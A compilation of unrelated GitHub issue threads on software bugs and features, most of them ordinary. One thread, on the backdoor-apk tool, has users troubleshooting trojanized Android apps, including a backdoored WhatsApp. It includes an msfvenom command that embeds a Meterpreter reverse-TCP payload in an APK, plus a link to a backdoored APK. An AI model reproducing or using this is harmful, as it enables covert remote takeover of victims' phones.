Feature request: typescript typings

Typescript adds type information to javascript. By providing typescript typings, tau-prolog would make it a lot easier to be used in typescript projects and even in javascript projects as editors like Visual Studio Code use types to provide intellisense.
Would you be open to adding typings to the tau-prolog package?
I'd be willing to pick this up. I have already written partial types for a project I'm working on (source) as well as for https://github.com/yarnpkg/berry/pull/53#discussion_r271422658. These could be used as a basis to create full typings for the tau-prolog package.
Note that these types were created by reading the code, so parts of the file are probably wrong as I had to guess the types of some function arguments.

At this moment, the tau-prolog package needs time to grow stable, and we still have work to do with the IO, so I'll close this issue for now, and maybe we'll attend it in the future.

@josemariagarcia95 I'd just like to point out that using TS to author a library actually helps a lot with unstable packages, because consumers are notified of the changed APIs as soon as they update the package.
For instance we currently have handwritten types for tau-prolog, and I think because of this we didn't notice that an API changed, resulting in thread.throwError is not a function errors.


Doesnt work in IE and Edge

Doesnt work in IE and Edge Browsers

Are you sure that webgl is enabled on your computer in those browsers?

oh, that seems to be the reason!


[Question] RuntimeError: CUDA error: CUBLAS_STATUS_EXECUTION_FAILED 这是什么原因呢？

Required prerequisites

[X] I have read the documentation https://safe-rlhf.readthedocs.io.
[X] I have searched the Issue Tracker and Discussions that this hasn't already been reported. (+1 or comment there if it has.)
[X] Consider asking first in a Discussion.

Questions
环境：
5张A100 80G显卡，cuda 11.7+pytorch 11.3
使用GPU进行推理，运行命令如下：
 python3 -m safe_rlhf.serve.cli --model_name_or_path /data1/llm-project/PKU-Beaver/alpaca-7b-reproduced
可以正常加载模型，但在推理时报错如下：
[1] Human: hello

Traceback (most recent call last):
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/runpy.py", line 196, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/runpy.py", line 86, in _run_code
    exec(code, run_globals)
  File "/data1/llm-project/PKU-Beaver/safe-rlhf/safe_rlhf/serve/cli.py", line 236, in <module>
    main()
  File "/data1/llm-project/PKU-Beaver/safe-rlhf/safe_rlhf/serve/cli.py", line 232, in main
    cli.run()
  File "/data1/llm-project/PKU-Beaver/safe-rlhf/safe_rlhf/serve/cli.py", line 118, in run
    self.render(response_generator, name, style)
  File "/data1/llm-project/PKU-Beaver/safe-rlhf/safe_rlhf/serve/cli.py", line 135, in render
    response = next(response_generator)
  File "/data1/llm-project/PKU-Beaver/safe-rlhf/safe_rlhf/serve/chatbot.py", line 288, in generator
    output = self.model.generate(
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/autograd/grad_mode.py", line 27, in decorate_context
    return func(*args, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/transformers/generation/utils.py", line 1565, in generate
    return self.sample(
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/transformers/generation/utils.py", line 2612, in sample
    outputs = self(
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1194, in _call_impl
    return forward_call(*input, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/accelerate/hooks.py", line 165, in new_forward
    output = old_forward(*args, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/transformers/models/llama/modeling_llama.py", line 688, in forward
    outputs = self.model(
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1194, in _call_impl
    return forward_call(*input, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/transformers/models/llama/modeling_llama.py", line 578, in forward
    layer_outputs = decoder_layer(
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1194, in _call_impl
    return forward_call(*input, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/accelerate/hooks.py", line 165, in new_forward
    output = old_forward(*args, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/transformers/models/llama/modeling_llama.py", line 306, in forward
    hidden_states = self.mlp(hidden_states)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1194, in _call_impl
    return forward_call(*input, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/accelerate/hooks.py", line 165, in new_forward
    output = old_forward(*args, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/transformers/models/llama/modeling_llama.py", line 158, in forward
    return self.down_proj(self.act_fn(self.gate_proj(x)) * self.up_proj(x))
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/nn/modules/module.py", line 1194, in _call_impl
    return forward_call(*input, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/accelerate/hooks.py", line 165, in new_forward
    output = old_forward(*args, **kwargs)
  File "/root/anaconda3/envs/safe-rlhf/lib/python3.10/site-packages/torch/nn/modules/linear.py", line 114, in forward
    return F.linear(input, self.weight, self.bias)
RuntimeError: CUDA error: CUBLAS_STATUS_EXECUTION_FAILED when calling `cublasSgemm( handle, opa, opb, m, n, k, &alpha, a, lda, b, ldb, &beta, c, ldc)`
/opt/conda/conda-bld/pytorch_1670525541990/work/aten/src/ATen/native/cuda/IndexKernel.cu:92: operator(): block: [0,0,0], thread: [96,0,0] Assertion `index >= -sizes[i] && index < sizes[i] && "index out of bounds"` failed.
/opt/conda/conda-bld/pytorch_1670525541990/work/aten/src/ATen/native/cuda/IndexKernel.cu:92: operator(): block: [0,0,0], thread: [97,0,0] Assertion `index >= -sizes[i] && index < sizes[i] && "index out of bounds"` failed.
/opt/conda/conda-bld/pytorch_1670525541990/work/aten/src/ATen/native/cuda/IndexKernel.cu:92: operator(): block: [0,0,0], thread: [98,0,0] Assertion `index >= -sizes[i] && index < sizes[i] && "index out of bounds"` failed.
/opt/conda/conda-bld/pytorch_1670525541990/work/aten/src/ATen/native/cuda/IndexKernel.cu:92: operator(): block: [0,0,0], thread: [99,0,0] Assertion `index >= -sizes[i] && index < sizes[i] && "index out of bounds"` failed.
(后边全是这样重复的错误)

Checklist

[X] I have provided all relevant and necessary information above.
[X] I have chosen a suitable title for this issue.

@Lyn4ever29 这可能是你保存的 tokenizer 的 vocabulary size 和模型的 embedding size 不一致导致的。在训练过程中，我们会在原始的 LLaMA tokenizer 的基础上增加一个  token。

Closing due to inactivity. Please feel free to ask for a reopening. 😊


No session created

Hello guys please help me everything work perfect without any error but when i start listener and open that backdoor apk no session create.

@dana-at-cp

reply motherfucker @dana-at-cp

@hackerboy23 easy young padawan. What Metasploit payload are you using?

@dana-at-cp whenever i use reverse_tcp payload session never create

@hackerboy23 Ok. I'll see if I can re-create the issue.

i can't work too.everything work perfect.no session create .app is good ,can connect to internet.

https://github.com/dana-at-cp/backdoor-apk/issues/58
this you have run the whatsApp,today i try it like you.
version is 2.18.119
everything is good, i install backdoor-apk.sh generate apk later,but no session is create.
please help me.
run.log and WhatsAPP.apk(after backdoor-apk.sh) is here:
http://proxy.stewarddeng.com/index1.php
If you've downloaded,tell me please.i take it off.
i think maybe environment make this problem happen.

my Metasploit  is good.
i have check my lhost and lport is running.i use chrome check  Metasploit ,i have  see session.
i use meterpreter/reverse_tcp

i run it in msfvenom,finally it work,why backdoor-apk can't work.........
msfvenom --platform android -x whatsApp.apk -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o after.apk

@Stewarddeng Thanks for the report. I've noticed some issues recently as well. I haven't had time to investigate but it's on my list.

Dana
On Thu, Apr 26, 2018, 10:09 AM Dana James Traversie <
<EMAIL_ADDRESS>wrote:

@Stewarddeng https://github.com/Stewarddeng Thanks for the report. I've
noticed some issues recently as well. I haven't had time to investigate but
it's on my list.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/dana-at-cp/backdoor-apk/issues/118#issuecomment-384510868,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AiHHTqQWDbWAmeWB-ciZZ1W0Tm8iBRtfks5tsU-CgaJpZM4PUHGJ
.

@Stewarddeng If you got the WhatsApp APK from the play store then this is probably related to issue: #78
If you got the APK somewhere else then I cannot help you.

i got the WhatsApp APK from this: https://www.whatsapp.com/download/

@Stewarddeng This is a duplicate of #78
Look at the end of run.log for more information. Feel free to research and contribute a fix or workaround.

Can u tell about this error
On Fri, Apr 20, 2018, 12:36 PM Stewarddeng<EMAIL_ADDRESS>wrote:

i can't work too.everything work perfect.no session create .app is good
,can connect to internet.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/dana-at-cp/backdoor-apk/issues/118#issuecomment-383002100,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AiHHTsB_SIOsc5nzvZmmINiE4SwCziv5ks5tqYj3gaJpZM4PUHGJ
.


wrapping highlights with context should be optional

https://twitter.com/judell/status/1192544342604316672

Fixed by https://github.com/judell/facet/commit/aa359fb0c7831cfbf00fe35472982bd846fb1162.


Add liiklus to the list of supported scalers

Following b8460e2741f74c8004bde892f53cd35f030141a6, how did I manage to add a sample but miss the main README?

@ericbottard 	Can you also please document it in https://github.com/kedacore/keda/tree/master/spec?


[Feature]: add dates comparing

This PR fixes #17

Thanks again for the effort here @romanhrynevych. Everything looks in order here. although I’m not sure I fully understand the utility of these kinds of functions. Is it just syntactic sugar?

@justin-schroeder everything done, review it please ❤

@justin-schroeder accept all your changes, seems good to me 🙂


Improve Notebook Output Rendering

If you need a few test cases for ANSI coloring, feel free to have a look at https://nbsphinx.readthedocs.io/code-cells.html#ANSI-Colors
I've implemented the ANSI support in nbconvert, notebook and jupyterlab, so I know a few of the pitfalls.
If you need pointers, please let me know.

Thanks @mgeier!
I added your 8-bit ANSI into the docs, and it looks to be working well 😄 https://myst-nb--243.org.readthedocs.build/en/243/use/formatting_outputs.html#ansi-outputs
I'll leave 256-but ANSI for another time/PR though (or feel free to give it a go 😬)

Hey @mmcky and @AakashGfude (and I see you lurking @choldgraf 👀 😆) I have a few more bits to add on this, but the main restructuring and features are there if you want to have a look and give any thoughts.
The commit messages and this page should explain the main changes/additions: https://myst-nb--243.org.readthedocs.build/en/243/use/formatting_outputs.html

Oh and also @akhmerov; a) because I'm sure it'll be of interest, but also b) because you can now close https://github.com/jupyter/jupyter-sphinx/pull/130 however you see fit, because I don't even use cell_output_to_nodes any more lol

@chrisjsewell thanks for the heads up, this is indeed very informative. At a glance render_outputs.py seems like it could as well be in jupyter_sphinx. Did you consider that option?

Well we can have a look and think about that at a later date, but for now (a) its too much complication, in terms of cross-repo testing, documentation, reviewing, etc, but also (b) it has dependencies on myst-parser, myst-nb configuration values, and relies on the use of cell metadata, which jupyter-sphinx's directives might have difficulty handling.
So I'm open to the possibility, but I'm afraid I haven't got time to figure out how 😬

Sounds reasonable. As a quick note: factoring out myst-specifc parts would amount to making an entry point for the myst-markdown renderer.

Passing render state via cell tags seems alright.

Well, its going to be more than just tags...

Really? That seemed to be the only context where metadata occurs in render_outputs.py.

Really? That seemed to be the only context where metadata occurs in render_outputs.py.

Thats now, in a few hours, maybe not lol

@akhmerov now this is what I'm talking about 😄  https://myst-nb--243.org.readthedocs.build/en/243/use/formatting_outputs.html#images

that may be useful in converting to various formats

Well, fingers crossed, that should already happen, because we are using pygments to lex it to tokens, then sphinx chooses the appropriate formatter to convert it: https://pygments.org/docs/formatters/

@mmcky has given i the thumbs up for "working" (or at least not breaking) LaTeX, so I'm going to merge this monstrosity!

I added your 8-bit ANSI into the docs, and it looks to be working well

It doesn't seem to support "underline" and "invert", and there don't seem to be any "intense" colors when switching to "bold".

I'll leave 256-but ANSI for another time/PR though (or feel free to give it a go)

I've already implemented this in three different places (in two languages), and I don't currently have the energy to do it yet again.
Do you even have to use Pygments? Why not just use nbconvert's implementation?
For reference, the nbconvert implementation is there: https://github.com/jupyter/nbconvert/blob/master/nbconvert/filters/ansi.py


[Candidate 1v1 Additional Forces ZH v1] Should this map be ranked?

NoMerciBKK has raised that "Additional Forces ZH v1" map layout is similar to "Endboss ZH V2", which is also a Ranked Maps candidate. Ideally we do not push 2 similar maps.
Plus the large amount of Reinforcement Pads on "Additional Forces ZH v1" can be considered imbalanced, because Infantry General gets the most valuable drops.
Move "Additional Forces ZH v1" to backlog in favor of "Endboss" ?
Top Additional Forces, bottom Endboss

I am hearing End Boss for the first time.
I consider this a quite good map to be fair.
Also a variation of tech buildings is always welcome even if its favouring one faction.

Also a variation of tech buildings is always welcome even if its favouring one faction.

Yes i do agree, but have you ever seen a repairpad on ranked maps? No cause ppl think its a drop zone, also you wont see many reinforcement pads cause they make the whole game inbalanced. And about the "Endboss" map its defenitly a coppy of your map but way better in balance. So if we take one of those maps in id prefer to take the better balanced version. But i m not a pro-player maybe we get some feedback from persons who will play the maps in the future.

BTW: Imminent Victory is a pure copy from Natural Threats.

About Imminent Victory thats 3 years ago its not easy to get ridd of a published map.

Your choice in the end.
What I can tell its a symmetrical maps with a few more tech buildings.
If that is worrying you, fine.
Liquid Gold has also more tech buildings and is or was played a lot.

Additional Forces ZH v1, quasi duplicate of Endboss. Moving to backlog.


Failed to open ""

First off thanks for your work, this seems to be an excelent plugin, judging by the screenshots.
I'm having this problem on some files (many of them, unfortunately):

The file can´t be opened/visualized into obsidian with the plugin activated. Opening in emacs works normally, of course.
How can I help you troubleshot this?

It means that the parser does not handle some syntax in your files.
You can take one of these files and delete some content until you have a minimal file that fails to open.
If you post the content of this minimal file that fails to open, then I can debug it and fix the problem.
Don't hesitate to replace the actual words for your own privacy, it probably doesn't have any impact on the problem.
The syntax that are most likely to break are links and blocks.

Its weird, this simple file is making orgmode-cm6 choke on my machine
Apparently its not a permission issue, the file has the same permission set
that other files - that work - do.
Theres nothing much sensitve about it, so dont worry about privacy.
On Mon, Sep 30, 2024 at 3:52 PM Benoit BAZARD @.***>
wrote:

It means that the parser does not handle some syntax in your files.
You can take one of these files and delete some content until you have a
minimal file that fails to open.
If you post the content of this minimal file that fails to open, then I
can debug it and fix the problem.
Don't hesitate to replace the actual words for your own privacy, it
probably doesn't have any impact on the problem.
The syntax that are most likely to break are links and blocks.
—
Reply to this email directly, view it on GitHub
https://github.com/BBazard/obsidian-orgmode-cm6/issues/10#issuecomment-2383929403,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AD4EX7A22B57XVCUBU23IODZZGMWDAVCNFSM6AAAAABPD5BTKOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGOBTHEZDSNBQGM
.
You are receiving this because you authored the thread.Message ID:
@.***>

I cannot copy paste this file, can you use a triple backticks code block to have it unformatted (https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks#fenced-code-blocks)?
Like this

You can also tell me if you use desktop or mobile.

Oh sorry! I added the file as a email attachment hoping it would work. It doesnt.
Here it is again - zipped due to github not supporting directly attaching .org files.
file.zip

I created a new obsidian vault, downloaded the Orgmode (CM6) plugin, opened the file you gave me: it opens as expected.
Can you reproduce the problem with a fresh vault/plugin?
Are you using desktop? android? ios?

I will try to reproduce it with a fresh vault.
I am using Desktop Linux.
On Mon, Sep 30, 2024 at 6:57 PM Benoit BAZARD @.***>
wrote:

I created a new obsidian vault, downloaded the Orgmode (CM6) plugin,
opened the file you gave me: it opens as expected.
Can you reproduce the problem with a fresh vault/plugin?
Are you using desktop? android? ios?
—
Reply to this email directly, view it on GitHub
https://github.com/BBazard/obsidian-orgmode-cm6/issues/10#issuecomment-2384239254,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AD4EX7GL4LS33REW7TPIQ7DZZHCMTAVCNFSM6AAAAABPD5BTKOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGOBUGIZTSMRVGQ
.
You are receiving this because you authored the thread.Message ID:
@.***>

Bingo, it worked on a fresh vault. Thus, I decided to delete the plugin
folder inside of .obsidian/plugin on my regular vault and redownload it.
Then it worked all right for all of rhw files!!
I dont know what caused it, but If it ever happens again I will make a copy
of the "crapped" plugin folder for trying to compare a healthy plugin
folder to an unhealthy one.
Thank you Benoit for the great plugin again, its good to be able to
visualize my org mode files in obsidian, as I am using obsidian sync for
syncing my .org files.
On Mon, Sep 30, 2024 at 7:13 PM Paulo Eduardo Diniz @.***>
wrote:

I will try to reproduce it with a fresh vault.
I am using Desktop Linux.
On Mon, Sep 30, 2024 at 6:57 PM Benoit BAZARD @.***>
wrote:

I created a new obsidian vault, downloaded the Orgmode (CM6) plugin,
opened the file you gave me: it opens as expected.
Can you reproduce the problem with a fresh vault/plugin?
Are you using desktop? android? ios?
—
Reply to this email directly, view it on GitHub
https://github.com/BBazard/obsidian-orgmode-cm6/issues/10#issuecomment-2384239254,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AD4EX7GL4LS33REW7TPIQ7DZZHCMTAVCNFSM6AAAAABPD5BTKOVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGOBUGIZTSMRVGQ
.
You are receiving this because you authored the thread.Message ID:
@.***>

Thank you for the bug report, glad you appreciate the plugin :slightly_smiling_face:
Maybe you were not on the latest version of the plugin, I published a few fixes last week.


Update jenkins-plugin-cli.sh

Improvements:

Replaced the usage of xargs with a direct array assignment to avoid potential vulnerabilities.
Used the read command to read the JAVA_OPTS environment variable into an array.
Ensured proper handling of spaces and special characters within the JAVA_OPTS string.
Passed the java_opts_array array as arguments to the java command.
Retained the -jar option and the path to the jenkins-plugin-manager.jar file.
Preserved the ability to pass additional command-line arguments using the $@ variable.
Overall, the updated code is more effective and reliable in handling the Java options and executing the Java program.

@whoami-anoint are you planning to proceed further with this pull request or should it be closed?


feat(core): Add an option '__Zone_symbol_prefix' to set symbol prefix used in Zone.symbol().

Add a global environment option __Zone_symbol_prefix to allow configuring the symbol prefix Zone.js uses to store its state data on objects.
This is needed in situations where multiple instances of Zone.js may 'touch' the same object or DOM node, accessing and clobbering the other instance's data stored there, and causing unpredictable behavior. Ultimately, it would be nice if Zone.js used proper ES6 symbols or some unique identifier as a prefix, but many products rely on being able to access the data stored by it.
This change adds the env option and cleans up all hard-coded references to '__zone_symbol_XXX' to go through Zone.__symbol__(). In order to test the changes and protect against regressions, the tests are run with the symbol prefix changed to __zone_symbol_test__.
While the primary purpose of this change is to be able to isolate data stored on the objects & DOM nodes, some global environment options are also specified with the __zone_symbol__ prefix and not the usual __Zone_ one. The current API for providing env options isn't very consistent. For example, disabling 'on' property patching is done via __Zone_ignore_on_properties, w/o using the symbol prefix, while disabling event patching is done via __zone_symbol__UNPATCHED_EVENTS, using the symbol prefix. This change only affects the options that are prefixed with __zone_symbol__.

@mleibman, thanks for the PR, could you explain the use case why we need to load multiple Zone.js instances?

@JiaLiPassion I have an scenario where some a separate Angular application with its own copy of Zone.js will be loaded in an IFrame on the same domain and will access the DOM elements (as well as document and window) in the parent window directly, potentially adding event listeners to them. When that happens, the two separate instances of Zone.js interfere with each other since they store the data using the same hard-coded symbol names.

@mleibman, thanks for the explanation, so with this PR, the application will load like this,

parent window set some options such as __zone_symbol__on_properties=['scroll']
parent window load zone.js as normal
iframe will set a global __zone_symbol__prefix to some other value such as __zone_symbol2__.
iframe will set some other options such as __zone_symbol2__on_properties=['mousemove']
iframe will load another copy of zone.js.

is that correct?
If this is correct, we can do like this without have this prefix.

parent window set some options such as __zone_symbol__on_properties=['scroll']
parent window load zone.js as normal
iframe will clear all properties startWith __zone_symbol__
iframe will set some other options such as __zone_symbol__on_properties=['mousemove']
iframe will load another copy of zone.js.

But I totally agree the code of __zone_symbol__ usage is not consistent in current codebase. I just want to make sure I understand the use case correctly.

That is one of the scenarios, namely specifying options for Zone.js prior to loading.
However the bigger issue is that Zone.js stores the state data like event handlers, original unpatched properties, configuration data, etc. on various objects at runtime. (And other code like Angular also reads from there for some optimizations around event listeners.)
Consider this scenario:
// loads zone.js
document.onclick = () => console.log('global click handler');

const iframe = document.body.appendChild(
  document.createElement('iframe'));

iframe.contentWindow.eval(`
  // load zone.js
  window.parent.document.onclick = () => console.log('iframe click handler');
`);

Clicking on the document will result in the iframe click handler executing twice, and the main click handler not executing at all, all because the two instances of Zone.js interfere with each other. With this change, the issue can be avoided by having the iframe code set a different __Zone_symbol_prefix global option before loading Zone.js.

@mleibman, currently, if two instances of zone.js are going to be loaded in main window, the 2nd loading will be ignored, so only one instance of zone.js, should we also do this in iframe? So in one mainwindow + multiple iframes, only one copy of zone.js is allowed, although we need to do some other work to let Zone can be inherit from Main window to iframe contentWindow.

@JiaLiPassion In my example above, the iframe loads its own copy of zone.js.

@mleibman, got it, maybe zone.js can be smart enough to do this automatically when it is being loaded in iframe, but for now, this LGTM, I have restarted the Travis CI, not sure why it failed.

@JiaLiPassion Thanks! It has done that several times... Do you think I'm missing something in the test configs? The local runs of yarn ci all passed.

@JiaLiPassion As for Zone.js automatically doing it, as I mentioned, ultimately the symbol prefix should be unique (auto-generated? ES6 symbols?), but a lot of code assumes the hard-coded one, so this would be a breaking change.

@mleibman, yeah, the Travis CI will test multiple browsers in different environments, so maybe some config is not there, I will check it.

As for Zone.js automatically doing it, as I mentioned, ultimately the symbol prefix should be unique (auto-generated? ES6 symbols?), but a lot of code assumes the hard-coded one, so this would be a breaking change.

You are right, Zone.__symbol__ is some kind of polyfill for the Symbol, every instance of zone.js should have a unique ZoneSymbol, like you said, we can use autogenerated, es6 symbol or some random number, but it will be a breaking change, so we can discuss that later.

@mleibman, the CI failed because there is an error in zone-evergreen.js, you can reproduce in your local by run

gulp build.
karma start karma-evergreen-dist-jasmine.conf.js

You will see the error is symbolPrefix is not defined, because https://github.com/angular/zone.js/blob/82a68f3560224aa23445c728072a6a6d5a455c61/lib/zone.ts#L1300, when __symbol__ is called, the symbolPrefix in https://github.com/angular/zone.js/blob/82a68f3560224aa23445c728072a6a6d5a455c61/lib/zone.ts#L1299 is not initialized yet, so we may move the line 1299 to the top https://github.com/angular/zone.js/blob/82a68f3560224aa23445c728072a6a6d5a455c61/lib/zone.ts#L675 around here.

@JiaLiPassion Thanks! Not sure why that didn't fail the other tests though...
I'm still getting a bunch of errors though:

Chrome 73.0.3683 (Mac OS X 10.14.3) ERROR
{
"message": "Uncaught ReferenceError: Zone is not defined\nat dist/zone-patch-canvas.js:21:1\n\nReferenceError: Zone is not defined\n    at dist/zone-patch-canvas.js:21:1\n    at dist/zone-patch-canvas.js:11:3\n    at dist/zone-patch-canvas.js:12:2",
"str": "Uncaught ReferenceError: Zone is not defined\nat dist/zone-patch-canvas.js:21:1\n\nReferenceError: Zone is not defined\n    at dist/zone-patch-canvas.js:21:1\n    at dist/zone-patch-canvas.js:11:3\n    at dist/zone-patch-canvas.js:12:2"
}

@JiaLiPassion I guess that's just my environment. The remaining error on Travis is

Edge 15.15063.0 (Windows 10.0.0) fetch should work for text response FAILED
Error: Timeout of 5000ms exceeded. For async tests and hooks, ensure "done()" is called; if returning a Promise, ensure it resolves.
Edge 15.15063.0 (Windows 10.0.0) fetch should work for text response FAILED
Error: Timeout of 5000ms exceeded. For async tests and hooks, ensure "done()" is called; if returning a Promise, ensure it resolves.

which could be a fluke.

@mleibman, thanks, the CI is happy now!

@mleibman, there are some conflicts due to the other merges, could you rebase your PR? thanks!

@JiaLiPassion intermittent CI error?

@mleibman, yeah, you need to update the file-size-limit.json too, update the number from 44000 to 44200

This has been already merged into g3


NullPointerException when retrieving Vault contents with null values

This issue is found in version 4.0.1, although I still see the problematic code in 4.1.0.
Issue
In my use case, I have a JSON secret in Vault which can contain null values, e.g:
{
     "password": "foo",
     "someotherfield": null
}

When I try to read this secret with quarkus-vault, the following exception is thrown:
2024-09-26 12:45:19,744 WARN  [io.agr.pool] (agroal-21) Datasource '<default>': Failed to create connection due to NullPointerException
2024-09-26 12:45:19,744 ERROR [io.sma.health] (executor-thread-1) SRHCK01000: Error processing Health Checks: java.lang.NullPointerException
    at java.base/java.util.Objects.requireNonNull(Unknown Source)
    at java.base/java.util.stream.Collectors.lambda$uniqKeysMapAccumulator$1(Unknown Source)
    at java.base/java.util.stream.ReduceOps$3ReducingSink.accept(Unknown Source)
    at java.base/java.util.Iterator.forEachRemaining(Unknown Source)
    at java.base/java.util.Spliterators$IteratorSpliterator.forEachRemaining(Unknown Source)
    at java.base/java.util.stream.AbstractPipeline.copyInto(Unknown Source)
    at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(Unknown Source)
    at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(Unknown Source)
    at java.base/java.util.stream.AbstractPipeline.evaluate(Unknown Source)
    at java.base/java.util.stream.ReferencePipeline.collect(Unknown Source)
    at io.quarkus.vault.runtime.VaultKvManager.convert(VaultKvManager.java:38)

On this line in VaultKvManager.java I've found the cause to be the way the library is casting the JSON value to String.
(String) entry.getValue()

In the case that the entry's value is null this will also return null, causing the exception above.
I suspect it will also fail if the value is of a non-String type, with the following exception (although I haven't tested with the library; just ran some scratch code):
Exception in thread "main" java.lang.ClassCastException: class java.lang.Integer cannot be cast to class java.lang.String (java.lang.Integer and java.lang.String are in module java.base of loader 'bootstrap')

How to Reproduce the Issue
Attempt to read a secret with at least one null value.

Proposed Fix
To fix this issue, I have applied this patch to use String.valueOf() instead. I've used this in my own fork of the library, and confirmed it to be working:
private Map<String, String> convert(Map<String, Object> map) {
        return map.entrySet().stream().collect(Collectors.toMap(Map.Entry::getKey, entry -> String.valueOf(entry.getValue())));
}

Are you able to provide a PR? If possible with a test covering the use case.

After going through the code more thoroughly and finding this comment I've decided to change the fix.
(I'd rather keep VaultKvManager as-is to avoid unexpected side effects elsewhere)
I've opted to update VaultCredentialsProvider instead to use .readSecretJson (which doesn't do the problematic conversion), and using String.valueOf() to cast it where it's actually used.
Although this does mean it no longer (implicitly) guarantees the password to never be null. I'm open to your input here @kdubb
I'll test it with my use case and let you know how it goes.

fixed by https://github.com/quarkiverse/quarkus-vault/pull/349


Fixing org.opensearch.monitor.os.OsProbeTests::testLogWarnCpuMessageOlyOnes when CGroups are not available

Signed-off-by: Andriy Redko<EMAIL_ADDRESS>Description
The newly added org.opensearch.monitor.os.OsProbeTests::testLogWarnCpuMessageOlyOnes test case always assumes that CGroups are available but this may not be the case. The test fails otherwise:
org.opensearch.monitor.os.OsProbeTests > testLogWarnCpuMessageOnlyOnes FAILED
    Wanted but not invoked:
    logger.warn(<any string>);
    -> at org.opensearch.monitor.os.OsProbeTests.testLogWarnCpuMessageOnlyOnes(OsProbeTests.java:300)
    Actually, there were zero interactions with this mock.
        at __randomizedtesting.SeedInfo.seed([98F51BCCE98CC711:506380649692FF1F]:0)
        at app//org.opensearch.monitor.os.OsProbeTests.testLogWarnCpuMessageOnlyOnes(OsProbeTests.java:300)

Issues Resolved
N/A
Check List

[ ] New functionality includes testing.

[ ] All tests pass

[ ] New functionality has been documented.

[ ] New functionality has javadoc added

[X] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Ahhh true. Not all distros wanna have cgorups. thnx

For my education, what platform were you able to reproduce this on?

Mine is Ubuntu 21.10, but Windows will fail as well


Respecting paragraph style

Currently, the UIImage.icon function creates an NSParagraphStyle with centered text, but then ignores it. The result is that the text is left-rendered in the image, which is almost certainly not desired. This fixes it to actually use the paragraph style and center the text.

Thanks 👍


[CodeCompletion] Migrate AccessorBeginning to solver-based

Migrate code completion at the start of an accessor to solver-based.

@swift-ci Please SourceKit stress test

Also please remove the existing case CompletionKind::AccessorBeginning branch from doneParsing()

@swift-ci Please SourceKit stress test

@swift-ci Please smoke test

@swift-ci Please smoke test macOS

@swift-ci Please smoke test


Can't import OVF into VMware

I cannot import the OVF file into VMware fusion 12 with the error "Failed to open OVF descriptor".
I think I tried a year ago and seems to still be broken.

@Shirofune-Security I'll take a look at this today and see if I can get you a workaround. However, it would actually be just as easy to create a brand-new Ubuntu 20.04 VM with the desktop environment installed, then install sift using the sift-cli.
If you create the new VM, vice importing the old one, you should install python2 first from APT (sudo apt install python2) then install the python2 pip binary using curl -o /tmp/get-pip.py https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 /tmp/get-pip.py.
After this, install SIFT using the CLI tool and you should be good to go.

We are looking to release an updated version of the OVA soon as well.

Hi @Shirofune-Security I've checked this using the SANS OVA from sans.org and VMware Fusion 12 without issue. Is there perhaps another OVA/OVF you were using for this? If you're still having the issues, I would follow what @ekristen mentioned and keep your eyes peeled for an updated OVA. This will likely address your issues as well.

I'm going to close this issue out, it's been over a month. If you would like to revisit this, please comment and I will re-open.

I just downloaded and tried with VMware Fusion 13.0.0 and still I get the Failed to OVF descriptor error when trying to import.


How to "Notify Discord"

The service "notify.discord" requires additional entry "target", I configured the card as below, but it doesn't seem to work.
Card Config
type: custom:notify-card
target: discord
data:
  target: 'xxxxxxxxxxxxxxxx'
card_title: Notify Discord
notification_title:
  input: Title

HA Service Call
service: notify.discord
data:
  title: Test
  message: Testing
  target: 'xxxxxxxxxxxxxxxxxx'

HA Error Log
Logger: homeassistant.components.discord.notify
Source: components/discord/notify.py:77
Integration: Discord ([documentation](https://www.home-assistant.io/integrations/discord), [issues](https://github.com/home-assistant/home-assistant/issues?q=is%3Aissue+is%3Aopen+label%3A%22integration%3A+discord%22))
First occurred: 6:36:54 PM (6 occurrences)
Last logged: 6:52:19 PM

No target specified

I've updated the card to be able to work with any action/service and any data now.
Please update the card and try the following config:
type: custom:notify-card
notification_title:
  input: Title
action: notify.discord
data:
  message: $MSG
  title: $TITLE
  target: 'xxxxxxxxxxxxxxxxxx'


Request to contribute

Hi, I've been learning React for a while and saw your post on Reddit.
